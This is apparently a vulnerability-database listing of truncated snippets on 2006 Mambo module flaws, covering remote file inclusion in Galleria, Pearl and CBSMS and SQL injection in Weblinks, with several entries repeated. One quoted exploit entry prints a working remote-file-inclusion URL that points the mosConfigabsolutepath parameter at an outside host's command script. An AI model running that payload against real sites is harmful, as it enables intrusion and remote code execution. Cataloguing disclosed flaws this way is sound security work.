CVE-2006-3396

PHP remote file inclusion vulnerability in galleria.html.php in Galleria Mambo Module 1.0 and earlier for Mambo allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...

CVE-2006-3396

Summary : The vulnerability CVE-2006-3396 affects the Galleria component for Mambo (Galleria Mambo Module 1.0 and earlier). It is a PHP remote file inclusion in the script galleria.html.php via an unsafely used mosConfig_absolute_path parameter, which can let an attacker cause arbitrary PHP code ...

galleria Mambo Module <= 1.0b Remote File Include Vulnerability

Exploit for unknown platform in category web applications =============================================================== galleria Mambo Module = 1.0b Remote File Include Vulnerability =============================================================== Title : galleria = 1.0 Remote File...

Pearl Products Multiple Remote File Inclusion

Pearl Products Multiple Remote File Inclusion Discovered By zero Moroccan Security Team Affected softwares: Pearl Forums 2.4 Ngoc Biec 1.4 Pearl For Biz 2.4 Pearl For Mambo 1.6 URL : http://sourceforge.net/projects/pearlforums/ Risk : High Impact: System access ------ PoC...

Mambo Module galleria 1.0b - Remote File Inclusion

Mambo Module galleria 1.0b - Remote File Inclusion Title : galleria = 1.0 Remote File InclusionVulnerability - URL : http://binarydigit.at/ - Author : sikunYuk - Mail : inealatgmail.com - exploit :...

Mambo Module galleria 1.0b - Remote File Inclusion

Title : galleria = 1.0 Remote File InclusionVulnerability - URL : http://binarydigit.at/ - Author : sikunYuk - Mail : inealatgmail.com - exploit : http://target/path/components/comgalleria/galleria.html.php?mosConfigabsolutepath=http://fckscript/cmd.txt?&cmd= - greatz :...

CVE-2006-3340

Multiple PHP remote file inclusion vulnerabilities in Pearl For Mambo module 1.6 for Mambo, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via the 1 phpbbrootpath parameter in a includes/functionscms.php and the 2 GlobalSettingstemplatesDirectory parameter i...

CVE-2006-3340

CVE-2006-3340 affects the Pearl For Mambo module 1.6 for Mambo. It describes multiple PHP remote file inclusion flaws when register_globals is enabled, allowing remote attackers to execute arbitrary PHP code via the phpbb_root_path parameter in includes/functions_cms.php and GlobalSettings[templa...

CVE-2006-3340

Multiple PHP remote file inclusion vulnerabilities in Pearl For Mambo module 1.6 for Mambo, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via the 1 phpbbrootpath parameter in a includes/functionscms.php and the 2 GlobalSettingstemplatesDirectory parameter i...

EUVD-2006-3337

Multiple PHP remote file inclusion vulnerabilities in Pearl For Mambo module 1.6 for Mambo, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via the 1 phpbbrootpath parameter in a includes/functionscms.php and the 2 GlobalSettingstemplatesDirectory parameter i...

CVE-2006-3302

PHP remote file inclusion vulnerability in modcbsms.php in CBSMS Mambo Module 1.0 and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the mosCapath parameter. NOTE: the provenance of this information is unknown; portions of the details...

CVE-2006-3302

The CVE describes a PHP remote file inclusion in CBSMS Mambo Module 1.0 and earlier. When register_globals is enabled, an attacker can inject a URL via the mosC_a_path parameter to execute arbitrary PHP code on the affected system. Connected documents corroborate the vulnerability class and note ...

CVE-2006-3302

PHP remote file inclusion vulnerability in modcbsms.php in CBSMS Mambo Module 1.0 and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the mosCapath parameter. NOTE: the provenance of this information is unknown; portions of the details...

CVE-2006-3294

The CBSMS Mambo Module (1.0 and earlier) contains a PHP remote file inclusion in mod_cbsms_messages.php. The vulnerability arises when register_globals is enabled and an attacker supplies a URL in mosConfig_absolute_path, enabling arbitrary PHP code execution. Root cause: lack of input sanitizati...

CVE-2006-3294

PHP remote file inclusion vulnerability in modcbsmsmessages.php in CBSMS Mambo Module 1.0 and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the mosConfigabsolutepath parameter...

CVE-2006-3263

SQL injection vulnerability in the Weblinks module weblinks.php in Mambo 4.6rc1 and earlier allows remote attackers to execute arbitrary SQL commands via the catid parameter...

CVE-2006-3262

SQL injection vulnerability in the Weblinks module weblinks.php in Mambo 4.6rc1 and earlier allows remote attackers to execute arbitrary SQL commands via the title parameter...

CVE-2006-3262

The CVE-2006-3262 entry describes an SQL injection in the Weblinks module (weblinks.php) of Mambo 4.6rc1 and earlier. The vulnerability allows remote attackers to execute arbitrary SQL commands via the title parameter. Affected: Mambo 4.6rc1 and earlier (Weblinks component). Root cause: lack of i...

CVE-2006-3263

The CVE-2006-3263 issue is a SQL injection in the Weblinks module (weblinks.php) of Mambo 4.6rc1 and earlier. The root cause is unsanitized input through the catid parameter, enabling remote attackers to execute arbitrary SQL commands. Affected product: Mambo Weblinks component; affected version ...

CVE-2006-3263

SQL injection vulnerability in the Weblinks module weblinks.php in Mambo 4.6rc1 and earlier allows remote attackers to execute arbitrary SQL commands via the catid parameter...